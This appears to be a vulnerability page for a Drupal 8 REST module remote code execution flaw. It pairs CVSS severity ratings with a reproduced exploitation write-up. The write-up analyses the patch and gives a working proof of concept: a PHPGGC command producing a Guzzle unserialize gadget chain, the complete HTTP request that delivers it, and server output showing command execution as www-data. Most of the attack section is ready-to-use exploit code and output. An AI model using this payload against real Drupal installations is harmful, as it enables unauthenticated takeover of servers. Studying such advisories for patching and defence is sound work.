The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Drupal REST Module Remote Code Execution
Analyzing the patch
By diffing Drupal 8.6.9 and 8.6.10, we can see that in the REST module, FieldItemNormalizer now uses a new trait, SerializedColumnNormalizerTrait. This trait provides the checkForSerializedStrings() method, which in short raises an exception if a string is provided for a value that is stored as a serialized string. This indicates the exploitation vector fairly clearly: through a REST request, the attacker needs to send a serialized property. This property will later be unserialize()d, thing that can easily be exploited using tools such as PHPGGC. Another modified file gives indications as to which property can be used: LinkItem now uses unserialize($values['options'], ['allowed_classes' => FALSE]); instead of the standard unserialize($values['options']);.
As for all FieldItemBase subclasses, LinkItem references a property type. Shortcut uses this property type, for a property named link.
Triggering the unserialize()
Having all these elements in mind, triggering an unserialize is fairly easy:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "<SERIALIZED_CONTENT>"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
Since Drupal 8 uses Guzzle, we can generate a payload using PHPGGC:
$ ./phpggc guzzle/rce1 system id --json
"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
We can now send the payload via GET:
GET /drupal-8.6.9/node/1?_format=hal_json HTTP/1.1
Host: 192.168.1.25
Content-Type: application/hal+json
Content-Length: 642
{
"link": [
{
"value": "link",
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links": {
"type": {
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
}
}
}
To which Drupal responds:
HTTP/1.1 200 OK
Link: <...>
X-Generator: Drupal 8 (https://www.drupal.org)
X-Drupal-Cache: MISS
Connection: close
Content-Type: application/hal+json
Content-Length: 9012
{...}uid=33(www-data) gid=33(www-data) groups=33(www-data)
Note: Drupal caches responses: if you're in a testing environment, clear the cache. If not, try another node ID.
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